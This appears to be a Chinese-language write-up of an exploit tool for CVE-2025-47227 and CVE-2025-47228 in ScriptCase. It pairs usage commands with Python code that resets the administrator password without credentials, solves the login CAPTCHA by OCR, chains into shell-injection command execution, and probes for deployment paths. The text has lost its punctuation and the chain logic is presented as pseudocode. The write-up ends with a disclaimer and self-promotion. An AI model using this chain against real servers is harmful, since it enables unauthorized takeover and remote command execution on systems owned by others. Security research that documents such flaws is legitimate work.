CVE-2025-47227 — ScriptCase关键漏洞利用脚本项目描述此项目是针对CVE-2025-47227漏洞开发的利用脚本该漏洞是Netmake ScriptCase Production Environment模块9.12.006及更早版本中的一个严重认证绕过漏洞。攻击者可通过精心构造的请求绕过认证机制重置管理员密码进而获得系统完整控制权。该漏洞还可以与CVE-2025-47228Shell注入串联实现无需身份验证的远程命令执行RCE。功能特性预认证RCE密码重置命令执行通过链式利用两个漏洞在无需任何凭证的情况下执行远程命令。独立密码重置仅利用CVE-2025-47227漏洞重置管理员密码。认证后命令执行在已获取管理员凭证的情况下执行命令利用CVE-2025-47228。路径探测功能自动探测目标服务器的ScriptCase部署路径。自动化CAPTCHA处理集成了图像处理和OCR功能能够自动识别并绕过验证码。灵活的操作模式支持多种攻击场景和配置选项。安装指南系统要求Python 3.6网络访问权限依赖安装安装所需的Python包pipinstallPillow pytesseract requests beautifulsoup4Tesseract OCR安装Ubuntu/Debian:sudo apt-get install tesseract-ocrmacOS:brew install tesseractWindows: 从Tesseract官方页面下载安装使用说明基本用法1. 预认证REC密码重置 RCEpython exploit.py -u http://example.org/scriptcase -ccommand2. 仅密码重置无需认证python exploit.py -u http://example.org/scriptcase3. 仅RCE需要账户密码python exploit.py -u http://example.org/scriptcase -ccommand-pPassword123*4. 探测部署路径python exploit.py -u http://example.org/ -d命令行选项选项 -h, --help 显示帮助信息 -u BASE_URL, --base-urlBASE_URL 目标基础URL -c COMMAND, --commandCOMMAND 要执行的命令 -p PASSWORD, --passwordPASSWORD 管理员密码用于RCE模式 -d, --detect 仅探测部署路径核心代码1. 图像处理与OCR模块此模块负责处理验证码图像为自动化攻击提供支持。# Clean image OCRdefprocess_image(input_image,output_image_pathNone): 处理验证码图像并提取文本 参数: input_image: 输入的图像字节数据 output_image_path: 可选处理后的图像保存路径 返回: 提取并处理后的验证码文本大写 # 打开图像imgImage.open(io.BytesIO(input_image))# 将图像转换为RGB模式imgimg.convert(RGB)# 加载像素数据pixelsimg.load()# 获取图像尺寸width,heightimg.size# 处理每个像素foryinrange(height):forxinrange(width):r,g,bpixels[x,y]# 将随机背景色改为固定颜色字母只有黑白背景为随机颜色但不是黑白if(r,g,b)!(0,0,0)and(r,g,b)!(255,255,255):pixels[x,y](211,211,211)# 将像素改为浅灰色elif(r,g,b)(255,255,255):# 将白色文本改为黑色文本pixels[x,y](0,0,0)# 将像素改为黑色# 调整图像尺寸 (200, 50) * 5imgimg.resize((1000,250),Image.Resampling.HAMMING)# 使用Tesseract将图像转换为文本# psm 6或8效果最佳# 限制字母表# 禁用单词优化检测custom_oem_psm_configrf--psm 8 --oem 3 -c tessedit_char_whitelist{string.ascii_letters}-c load_system_dawgfalse -c load_freq_dawgfalse --dpi 300# 只有大写字母但保留小写以避免误判textpytesseract.image_to_string(img,configcustom_oem_psm_config)return(text.upper().strip())# 将误判的小写转换为大写去除空白2. 漏洞利用链逻辑以下伪代码展示了完整的漏洞利用链逻辑# 主要利用链流程defexploit_chain(base_url,commandNone,passwordNone): 执行完整的漏洞利用链 流程 1. 如果没有密码执行密码重置CVE-2025-47227 2. 获取验证码并自动识别 3. 发送重置请求 4. 使用新密码登录 5. 如果指定了命令执行RCECVE-2025-47228 ifnotpassword:# 步骤1获取CAPTCHA图像captcha_imagefetch_captcha(base_url)# 步骤2处理并识别CAPTCHAcaptcha_textprocess_image(captcha_image)# 步骤3发送密码重置请求reset_payload{user:admin,captcha:captcha_text,action:reset_password}send_reset_request(base_url,reset_payload)# 步骤4使用默认或猜解的新密码passwordPassword123*# 步骤5使用新密码登录login_sessionadmin_login(base_url,admin,password)ifcommand:# 步骤6执行命令注入execute_command(login_session,base_url,command)print(f命令执行成功:{command})else:print(f密码已重置为:{password})3. HTTP请求处理模块defsend_reset_request(base_url,payload): 发送密码重置请求到目标服务器 参数: base_url: 目标基础URL payload: 包含用户、验证码和动作的请求数据 返回: 服务器响应对象 # 构造完整的URLtarget_urlf{base_url}/login.php# 设置请求头伪装为正常浏览器headers{User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36,Content-Type:application/x-www-form-urlencoded,Accept:text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8}# 发送POST请求responserequests.post(target_url,datapayload,headersheaders,allow_redirectsFalse,verifyFalse# 注意在生产环境中应验证SSL证书)returnresponse4. 路径探测功能defdetect_deployment_path(base_url): 探测ScriptCase在服务器上的部署路径 参数: base_url: 目标基础URL 返回: 检测到的部署路径或None # 常见的ScriptCase部署路径common_paths[scriptcase,sc,app,netmake,production]forpathincommon_paths:test_urlf{base_url}/{path}try:responserequests.get(test_url,timeout5)# 检查响应中是否包含ScriptCase特征ifscriptcaseinresponse.text.lower():returnpathexceptrequests.RequestException:continuereturnNone技术细节漏洞描述CVE-2025-47227是ScriptCase中的认证绕过漏洞攻击者可通过精心构造的GET和POST请求到login.php来重置管理员密码无需任何现有凭证。CVSS评分基础分数: 7.5高危攻击向量: 网络攻击复杂度: 低所需权限: 无用户交互: 无影响范围: 未改变机密性影响: 无完整性影响: 高可用性影响: 无免责声明本工具和相关信息仅用于教育和安全研究目的。未经授权对任何系统进行漏洞测试或利用是非法的且不道德的。使用本工具前请确保已获得目标系统的明确授权。使用者需对自身行为承担全部法律责任。FINISHED6HFtX5dABrKlqXeO5PUv/84SoIoTE3firf/5vX8AZ5rAfLPsUfLDXB1n1pkzDs更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享